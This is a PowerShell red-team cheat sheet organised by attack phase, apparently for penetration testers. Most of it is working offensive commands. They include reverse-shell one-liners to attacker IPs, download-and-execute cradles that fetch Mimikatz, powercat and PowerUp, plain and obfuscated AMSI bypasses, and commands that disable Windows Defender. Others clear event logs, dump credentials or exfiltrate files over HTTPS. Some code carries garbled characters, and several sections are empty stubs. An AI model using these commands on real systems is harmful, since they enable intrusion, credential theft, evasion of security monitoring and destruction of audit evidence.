Contents

1 Introduction

1.1 Running Powershell

1.1.1 Where to Find Powershell

Powershell Locations

```
    C:\windows\syswow64\windowspowershell\v1.0\powershell
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```

1.1.2 Running Powershell as a Different User

Run Powershell prompt as a different user without loading profile to the machine [replace DOMAIN and USER]

`runas /user:domain\user /noprofile powershell.exe`

Or using the following script

```
$username = 'domain\user'
$password = 'password'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential
   $username, $securePassword
Start-Process powershell.exe -Credential $credential
```

You can also execute any executable like reverseshell as the new user by replacing `powershell.exe` with another executable.

1.1.3 Running Powershell on Another System Remotely

Commect to a remote machine with the current user credentials

- `Enter-PSSession -ComputerName machine01.domain.local`

- `Enter-PSSession -ComputerName machine01`

Starts an interactive Powershell session with a remote computer.

```
$username = 'domain\user'
$password = 'password'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential
    $username, $securePassword
Enter-PSSession -ComputerName Server01 -Credential $credential
```

Or invoke a command on a remote computer. *Useful for testing*

```
$username = 'domain\user'
$password = 'password'

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential
    $username, $securePassword
Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName Server01 -
    Credential $credential
```

1.1.4 Loading Scripts and Modules

Load a Script (Dot Sourcing)

`. C:\AD\Tools\PowerView.ps1`

Load a Module

`ImportModule C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1`

List all commands in a module

`Get-Command -Module <modulename>`

1.1.5 9 Ways to Open Powershell

https://www.howtogeek.com/662611/9-ways-to-open-powershell-in-windows-10

2 Reconnaissance

2.1 Basic Machine Enumeration

- List users `Get-LocalUser`
- Basic networking information `ipconfig /all`
- file permissions
- registry permissions
- scheduled and running tasks
- insecure files
- Print Domain `systeminfo | findstr /B "Domain"`
- Check Powershell version `$PSVersionTable. PSVersion`
- List processes `Get-Process`

2.2 Find Files on Local Machine

2.2.1 Find Files

Find GPP Passwords in SYSVOL

```
findstr /S cpassword $env:logonserver\sysvol\*.xml
findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)
```

TODO. Add more methods to find sensitive files.

2.3 Simple Enumeration Script

Paste the following code in a powershell console and it will present a menu for enumeration

```
Clear-Host
function Show-Menu
{
    param (
        [string]$Title = 'PowEnum Menu'
    )
    Clear-Host
    Write-Host "================ $Title ================"
    Write-Host " "
    Write-Host "1: Press '1' to get OS Version"
    Write-Host "2: Press '2' to get FQDN"
    Write-Host "3: Press '3' to get domain"
    Write-Host "4: Press '4' to get DNS type All"
    Write-Host "5: Press '5' to get MX record"
    Write-Host "6: Press '6' to get WWW record"
    Write-Host "7: Press '7' to get hosts on subnet"
    Write-Host "Q: Press 'Q' to quit."
}

do
{
    Show-Menu âĂŞTitle 'PowEnum Menu'
    Write-Host " "
    $input = Read-Host "what do you want to do?"
    switch ($input)
    {
        '1' {
                systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
            }
        '2' {
                ([System.Net.Dns]::GetHostByName(($env:computerName))).
                    Hostname
            }
        '3' {
                (Get-WmiObject Win32_ComputerSystem).Domain
            }
        '4' {
                $Domain=(Get-WmiObject Win32_ComputerSystem).Domain
                Resolve-DNSName -type All -name $Domain
            }
        '5' {
                $Domain=(Get-WmiObject Win32_ComputerSystem).Domain
                Resolve-DNSName -type MX -name $Domain
            }
        '6' {
                $Domain=(Get-WmiObject Win32_ComputerSystem).Domain
                Write-Host "www.${Domain}"
                Resolve-DNSName -type cname -name "www.${Domain}"
            }
        '7' {
                Write-Host "Be patient, this could take some time..."
                $snet = Get-WmiObject -Class Win32_IP4RouteTable |
                    where { $_.destination -eq '0.0.0.0' -and $_.mask -eq
                        '0.0.0.0'} |
                    Sort-Object metric1 | select nexthop, metric1,
                       interfaceindex
                $line = $snet -split "nexthop="
                $ip = $line -split ";"
                $netw = $ip[1]
                $ipoct = $netw.split(".")
                $sn_value = ($ipoct[0]+"."+$ipoct[1]+"."+$ipoct[2])
                ForEach ($ip in 1..254) {Resolve-DNSName "$sn_value.$ip" -
                   ErrorAction SilentlyContinue }
            }
        'q' {
                 return
            }
    }
    Write-Host " "
    pause
}
until ($input -eq 'q')
```

2.4 Network Discovery

2.4.1 Ping Sweep Oneliner

Paste the following code in a Powershell console. It will ask for input.

```
write-host "Ping Sweep!"; $FirstThreeOctets = Read-Host -Prompt 'First
    Three Octets (for example: 127.0.0)'; $FirstIP = Read-Host -Prompt '
    Start IP (for example: 1)'; $LastIP = Read-Host -Prompt 'End IP (for
    example: 254)'; $FirstIP..$LastIP | foreach-object { (new-object System
    .Net.Networkinformation.Ping).Send($FirstThreeOctets + '.' + $_,150) }
    | where-object {$_.Status -eq 'success'} | select Address; Write-Host '
    Done!'
```

It will ask for input as shown

```
Ping Sweep!
First Three Octets (for example: 127.0.0): 10.33.132
Start IP (for example: 1): 1
End IP (for example: 254): 10
```

2.4.2 Port Scanning

2.4.2.1 Single Host Multiple Ports

```
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",
$_))"Port $_ is open!"} 2>$null
```

2.4.2.2 Single Port Multiple Hosts

```
foreach ($ip in 1..20){Test-NetConnection -Port 80 -InformationLevel "
Detailed"192.168.1.$ip}
```

2.4.2.3 Multiple Hosts Multiple Ports

```
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).
Connect("10.0.0.$a",$_))"Port $_ is open!"} 2>$null}
```

2.4.3 Simple Port Scanning Script

Needs testing

```
$port = 445
$network =  10.63.50
$range = 1..254
$ErrorActionPreference= 'silentlycontinue'
$(Foreach ($add in $range)
{ $ip = "{0}.{1}" âĂŞF $network,$add
Write-Progress "Scanning Network" $ip -PercentComplete (($add/$range.Count
    )*100)
If(Test-Connection âĂŞBufferSize 32 âĂŞCount 1 âĂŞquiet âĂŞComputerName
    $ip)
{ $socket = new-object System.Net.Sockets.TcpClient($ip, $port)
If($socket.Connected) { "$ip port $port open"
$socket.Close() }
else { "$ip port $port not open" }
}
}) | Out-File .\portscan.csv
```

2.4.4 Advanced Port Scanning Script

Link https://raw.githubusercontent.com/BornToBeRoot/PowerShell_IPv4PortScanner/main/Scripts/IPv4PortScan.ps1

https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner

Note - Yes, Nmap is better. However, you may find yourself in a situation where you cannot install nmap or anything else.

3 Initial Access

TODO.

4 Execution

4.1 Reverse Shells

4.1.1 Reverse Shell - One-Liners

Modify the IP address and the port to the attacker’s.

```
$client = New-Object System.Net.Sockets.TCPClient('192.168.46.2',443);
    $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i
    = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -
    TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
     (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd)
    .Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.
    Close()
```

or

```
$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream()
    ;[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0)
    {;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.
    encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
```

4.1.2 Reverse Shell - Powercat

Link https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

Reverse shell

```
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http
    ://192.168.46.2/powercat.ps1');powercat -c 192.168.46.2 -p 443 -e cmd"
```

Encoded reverse shell

```
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http
    ://192.168.46.2/powercat.ps1');powercat -c 192.168.1.3 -p 443 -e cmd.
    exe -ge > encodedshell.ps1
```

```
cat encodedshell.ps1 | clip

powershell -E <PASTE>
```

4.1.3 Reverse Shell - Invoke-PowerShellTcp

Invoke-PowerShellTcp.ps1

Link https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

```
powershell iex (New-Object Net.WebClient).DownloadString('http://<
    yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse
     -IPAddress [IP] -Port [PortNo.]
```

4.1.4 Reverse Shell - MSFvenom

On Kali

`msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<port> -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1`

On Target

`powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1`

5 Delivery

Yes. I know. Delivery is not on Mitre Att&ck Framework. However, downloading and uploading files is an absolute necessity during a Red Team engagement.

5.1 Download Files

5.1.1 Download and Run in Memory

```
powershell iex (New-Object Net.WebClient).DownloadString('http://<
    yourwebserver>/Invoke-PowerShellScript.ps1');Invoke-PowerShellScript -
    arg1 value -arg2 value
```

5.1.2 Download from SMB

`Copy-Item -Source \\server\share\file -Destination C:\path\`

5.1.3 Download in Powershell - WebClient

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://www.contoso.com/file","C:\path\file")
```

5.1.4 Download in Powershell - Easy Download

```
iwr ((New-Object Net.WebClient).DownloadString('http://172.16.100.87/
    PowerView.ps1'))
```

5.1.5 Download with Invoke-WebRequest

```
Invoke-WebRequest -Uri "http://www.contoso.com" -OutFile "C:\path\file"
```

5.1.6 Download with Wget

```
wget "http://www.contoso.com" -outfile "file"
```

5.1.7 Download with Authentication

```
Invoke-WebRequest -Uri https://www.contoso.com/ -OutFile C:"\path\file" -
    Credential "yourUserName"
```

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://172.16.99.87/PowerView.ps1","C:\Program
    Files (x86)\Jenkins\workspace\Project11\PowerView.ps1")
```

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://172.16.99.87/PowerView.ps1","C:\Users\
    student487\Downloads\PowerView.ps1")
```

6 Persistence

TODO. Maybe Scheduled tasks.

7 Privilege Escalation

7.1 PowerUp.ps1

Link https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

Download and run from attacker's machine

```
powershell iex (New-Object Net.WebClient).DownloadString('http://<
    yourwebserver>/PowerUp.ps1');Invoke-AllChecks
```

Download and run from internet

```
powershell iex (New-Object Net.WebClient).DownloadString('https://raw.
    githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/
    PowerUp.ps1');Invoke-AllChecks
```

8 Defense Evasion

8.1 Bypassing Execution Policy

```
     powershell -ExecutionPolicy bypass
     powershell -c <cmd>
     powershell -encodedcommand $env:PSExecutionPolicyPreference="bypass"
```

8.2 Windows Defender

8.2.1 Disable Windows Defender

In PowerShell, the following 2 commands with *Admin privilege*:

```
Set-MpPreference -DisableRealtimeMonitoring $true -force
Set-MpPreference -DisableIOAVProtection $true
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender
    " -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
```

8.3 Path Exclusion

Check that path from which Windows Defender allows execusion.

```
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
```

8.4 Windows Firewall

8.4.1 Creating rules

TODO

8.5 Bypass AMSI

Article showing multiple methods https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/

AMSI is short for Antimalware Scan Interface.

The goal of AMSI is to prevent the execution of arbitrary code containing malicious content.

8.5.1 Basic - Forcing an AMSI Initialization Failure

Likely detectable

`[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)`

Base64 Encoded

```
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::
    Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA
    ')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::
    FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'
    NonPublic,Static').SetValue($null,$true)
```

8.5.2 Obfuscation

8.5.2.1 Obfuscated Command 1

```
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','
    rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`
    Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','
    utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','
    InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."
    sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```

8.5.2.2 Obfuscated Command 2

```
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "
    {1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."
    A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" - f('Uti'+'l'),'A',('
    Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation .'),'s',('Syst'+'
    em') ) )."g`etf`iElD"( ( "{0}{2}{1}" - f('a'+'msi'),'d',('I'+'nitF'+'
    aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c',
    'c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```

8.5.3 Invoke-AMSIBypass

https://raw.githubusercontent.com/samratashok/nishang/master/Bypass/Invoke-AmsiBypass.ps1

```
. .\Invoke-AmsiBypass.ps1
```

Or copy the code from github and paste it directly into the powershell console

```
Invoke-AmsiBypass -Verbose
```

8.6 Invisi-Shell

Project https://github.com/OmerYa/Invisi-Shell

Hide your powershell script in plain sight! Invisi-Shell bypasses all of Powershell security features (ScriptBlock logging, Module logging, Transcription, AMSI) by hooking .Net assemblies. The hook is performed via CLR Profiler API.

Paste in cmd or run as .bat

8.6.1 RunWithPathAsAdmin.bat

```
set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=%~dp0InvisiShellProfiler.dll

powershell

set COR_ENABLE_PROFILING=
set COR_PROFILER=
set COR_PROFILER_PATH=
```

8.6.2 RunWithRegistryNonAdmin.bat

```
set COR_ENABLE_PROFILING=1
set COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}

REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db
    }" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db
    }\InprocServer32" /f
REG ADD "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-b283c03916db
    }\InprocServer32" /ve /t REG_SZ /d "%~dp0InvisiShellProfiler.dll" /f
```

```
powershell

set COR_ENABLE_PROFILING=
set COR_PROFILER=
REG DELETE "HKCU\Software\Classes\CLSID\{cf0d821e-299b-5307-a3d8-
    b283c03916db}" /f
```

8.7 Downgrading PowerShell

Sometimes you need to downgrade powershell as new versions come are more secure

```
powershell.exe -version 2
```

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Version 2
```

checking version

```
$PSVersionTable
```

8.8 Powershell Obfuscators

Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator.

https://github.com/danielbohannon/Invoke-Obfuscation

Invoke-Stealth is a Simple & Powerful PowerShell Script Obfuscator.

https://github.com/JoelGMSec/Invoke-Stealth

Powerob An on-the-fly Powershell script obfuscator meant for red team engagements.

Tutorial https://medium.com/@ammadb/invoke-obfuscation-hiding-payloads-to-avoid-detection-87de291d61d3

https://github.com/cwolff411/powerob

8.9 Scanning Scripts for Detection

8.9.1 DefenderCheck

https://github.com/matterpreter/DefenderCheck

8.9.2 AMSITrigger

https://github.com/RythmStick/AMSITrigger

8.10 Clear Event Logs

Clean up after yourself

Required admin privilege

```
function clear-all-event-logs ($computerName="localhost")
{
   $logs = Get-EventLog -ComputerName $computername -List | ForEach-Object
       {$_.Log}
   $logs | ForEach-Object {Clear-EventLog -ComputerName $computername -
      LogName $_ }
   Get-EventLog -ComputerName $computername -list
}

clear-all-event-logs -ComputerName <hostname>
```

Expected output

```
Max(K) Retain OverflowAction        Entries Log
------ ------ --------------        ------- ---
15,168      0 OverwriteAsNeeded           0 Application
15,168      0 OverwriteAsNeeded           0 DFS Replication
512         7 OverwriteOlder              0 DxStudio
20,480      0 OverwriteAsNeeded           0 Hardware Events
512         7 OverwriteOlder              0 Internet Explorer
20,480      0 OverwriteAsNeeded           0 Key Management Service
16,384      0 OverwriteAsNeeded           0 Microsoft Office Diagnostics
16,384      0 OverwriteAsNeeded           0 Microsoft Office Sessions
30,016      0 OverwriteAsNeeded           1 Security
15,168      0 OverwriteAsNeeded           2 System
15,360      0 OverwriteAsNeeded           0 Windows PowerShell
```

9 Credential Access

9.1 Mimikatz

```
# Invoke-Mimikatz: Dump credentials from memory

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).
    DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/
    master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-
    Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands

powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).
    DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/
    master/data/module_source/credentials/Invoke-Mimikatz.ps1')"

# Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:
    computername with target server name(s)]

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).
    DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/
    PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:
    COMPUTERNAME'|Invoke-MassMimikatz -Verbose"
```

9.2 Dump Hashes

Dump hashes if you have admin privilege

https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1

10 Lateral Movement

Check this

https://cheats.philkeeble.com/active-directory/lateral-movement

11 Collection

11.1 Snapshots

The following script takes a screenshot of the system and saves it to a given path.

You may modify the following script and schedule it to take screenshots every x number of minutes.

Note: The following script was written by the author.

```
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.
   Forms")
$path=$args[0]
function screenshot($path)
{
    $width = 0;
    $height = 0;
    $workingAreaX = 0;
    $workingAreaY = 0;
    $screen = [System.Windows.Forms.Screen]::AllScreens;
    foreach ($item in $screen)
    {
        if($workingAreaX -gt $item.WorkingArea.X)
        {
            $workingAreaX = $item.WorkingArea.X;
        }

        if($workingAreaY -gt $item.WorkingArea.Y)
        {
            $workingAreaY = $item.WorkingArea.Y;
        }

        $width = $width + $item.Bounds.Width;

        if($item.Bounds.Height -gt $height)
        {
            $height = $item.Bounds.Height;
        }
    }
    $bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY,
        $width, $height);
    $bmp = New-Object Drawing.Bitmap $width, $height;
    $graphics = [Drawing.Graphics]::FromImage($bmp);
    $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty,
        $bounds.size);
    $bmp.Save($path);
    $graphics.Dispose();
    $bmp.Dispose();
    echo "Image saved !!"
    echo $path
}
echo 'USAGE: ./screenshot.ps1 "C:\Users\Public\image.png"'
screenshot($path)
```

11.2 Keylogger

TODO

```
```

11.3 Zipping files and directories

11.3.1 Zipping

`Compress-Archive -Path C:\path\to\file\*.jpg -DestinationPath C:\path\to\archive.zip`

11.3.2 Unzipping

`Expand-Archive -LiteralPath 'C:\Archives\Draft[v1].Zip'-DestinationPath C:\Reference`

11.4 Encryption

11.4.1 Creating encryption key

```
$EncryptionKeyBytes = New-Object Byte[] 32
[Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes(
   $EncryptionKeyBytes)
```

```
$EncryptionKeyBytes | Out-File "./encryption.key"
```

11.4.2 Encrypting file

```
$FileContent = Get-Content ".\file.txt"
$EncryptionKeyData = Get-Content "./encryption.key"
$secureString = ConvertTo-SecureString $FileContent -AsPlainText -Force
$Encrypted = ConvertFrom-SecureString -SecureString $secureString -Key
    $EncryptionKeyData | Out-File -FilePath "./secret.encrypted"
```

11.4.3 Decrypting file

```
$EncryptionKeyData = Get-Content "./encryption.key"
$PasswordSecureString = Get-Content "./secret.encrypted" | ConvertTo-
    SecureString -Key $EncryptionKeyData
$PlainTextPassword = [System.Runtime.InteropServices.Marshal]::
    PtrToStringBSTR([System.Runtime.InteropServices.Marshal]::
    SecureStringToBSTR($PasswordSecureString))
$PlainTextPassword | Out-File -FilePath ./plaintext.txt
$PlainTextPassword
```

11.5 Deleting files

You may want to clean up after yourself.

`Remove-Item C:\Test\*.* Remove-Item C:\Users\Public\*.*`

12 Command and Control

12.1 Covenant

12.2 Empire

13 Exfiltration

13.1 Exfiltration Over HTTP(S)

13.1.1 The Server - Python

1. Download Python HTTPS Server with Authentication

   ADDLINK

2. Create certificate

Create a certificate so you can use SSL

```
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
```

3. Start the server

Usage:

```
python simple-https-server.py 4433 admin:password
```

13.1.2 The Client - Powershell

1. Create upload.ps1

```
 add-type @"
 using System.Net;
 using System.Security.Cryptography.X509Certificates;
 public class TrustAllCertsPolicy : ICertificatePolicy {
 public bool CheckValidationResult(
 ServicePoint srvPoint, X509Certificate certificate,
 WebRequest request, int certificateProblem) {
 return true;
 }
 }
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object
   TrustAllCertsPolicy
```

```
echo "
    ========================================================================
    "
echo "USAGE: ./upload.ps1 https://domain.com/ username:password
    file_to_upload"
echo "-"
echo "NOTE: script and file to be uploaded must be in the same directory"
echo "
    ========================================================================
    "

$url=$args[0]
$auth=$args[1]
$filename=$args[2]

$encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::
    ASCII.GetBytes($auth))

$WebClient = new-object System.Net.WebClient
$WebClient.Headers.Add("Authorization", "Basic " + $encodedCreds)
$WebClient.Headers.Add("X-Atlassian-Token", "nocheck")
$WebClient.UploadFile($url, (Get-Location).Path + "\" + $filename)
```

2. Upload files to server

```
./upload.ps1 <https://ip:port/> <admin:password> <file (in current dir)>
```

```
./upload.ps1 https://192.168.46.1:4433/ admin:password file_to_upload
```

14 Impact

14.1 Enable Disable and Stop Services

14.1.1 General

TODO

14.1.2 RDP

Enable RDP

Requires admin privileges

Enable the remote desktop protocol

```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server'-name "fDenyTSConnections"-value 0
```

Enable remote desktop through the Windows Firewall

```
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
```

Disable RDP

Disable the remote desktop protocol

```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal
Server'-name "fDenyTSConnections"-value 1
```

Disable remote desktop through the Windows Firewall

```
Disable-NetFirewallRule -DisplayGroup "Remote Desktop"
```

15 Active Directory

15.1 Enumeration

15.1.1 Basic Enumeration

All from Powershell

- Local user `net user`
- List local admins `net localgroup Administrators`
- List all domain user `net user /domain`
- List all domain groups `net gourp /domain`
- List users in Domain Admin group `net group "Domain Admins"/domain`
- Domain and DC `[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()`
- DC hostname `cmd.exe /c "echo %logonserver%"`

15.1.2 PowerView.ps1

15.1.2.1 Download PowerView.ps1

Link

https://raw.githubusercontent.com/ZeroDayLab/PowerSploit/master/Recon/PowerView.ps1

Or

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Download and run from attacker's machine

```
powershell iex (New-Object Net.WebClient).DownloadString('http://<
   yourwebserver>/PowerUp.ps1');Invoke-AllChecks
```

Download and run from internet

```
powershell iex (New-Object Net.WebClient).DownloadString('https://raw.
    githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/
    PowerUp.ps1');Invoke-AllChecks
```

Load PowerView `. ./PowerView.ps1`

15.1.2.2 Domain Controller

- `Get-DomainController`

15.1.2.3 Users

- Get all users `Get-DomainUser`
- Get all users usernames `Get-DomainUser | select -ExpandProperty samaccountname`
- Get users with highest number of logon `GetDomainUser -Properties samaccountname, logoncount`

Search for users whose desrcription contains keywords

Get local users

`Get-DomainUser -LDAPFilter "Description=*built*"| Select name, Description`

Get passwords in description

`Get-DomainUser -LDAPFilter "Description=*password*"| Select name, Description`

15.1.2.4 Computers

- List all computers `Get-DomainComputer | select -ExpandProperty dnshostname`

15.1.2.5 Groups

AdminGroup

- `Get-DomainGroup *admin* | select samaccountname`

Domain Admins

- Show details of Domain Admins group `Get-DomainGroup -Identity "Domain Admins"-Recurse`
- List members of Domain Admins gourp `Get-DomainGroupMember -Identity "Domain Admins"| select -ExpandProperty MemberName`

Enterprise Admins

- Show details of Enterprise Admins group `Get-DomainGroup -Identity "Enterprise Admins"`
- List members of Enterprise Admins gourp `Get-DomainGroupMember -Identity " Enterprise Admins"| select -ExpandProperty MemberName`

** Groups user belongs to **

- `Get-DomainGroup "username"| select name`

15.1.2.6 OUs

15.1.2.7 GPUs

15.1.3 ADModule

15.2 Find Where Current User Has Local Admin

15.2.1 Find-PSRemotingLocalAdminAccess.ps1

- Where to find this script
- `. ./Find-PSRemotingLocalAdminAccess.ps1`
- `Find-PSRemotingLocalAdminAccess` Output will be list of machines where the current user has admin access

15.2.2 Connect Using winrs

- CMD `winrs -r:machine01 cmd`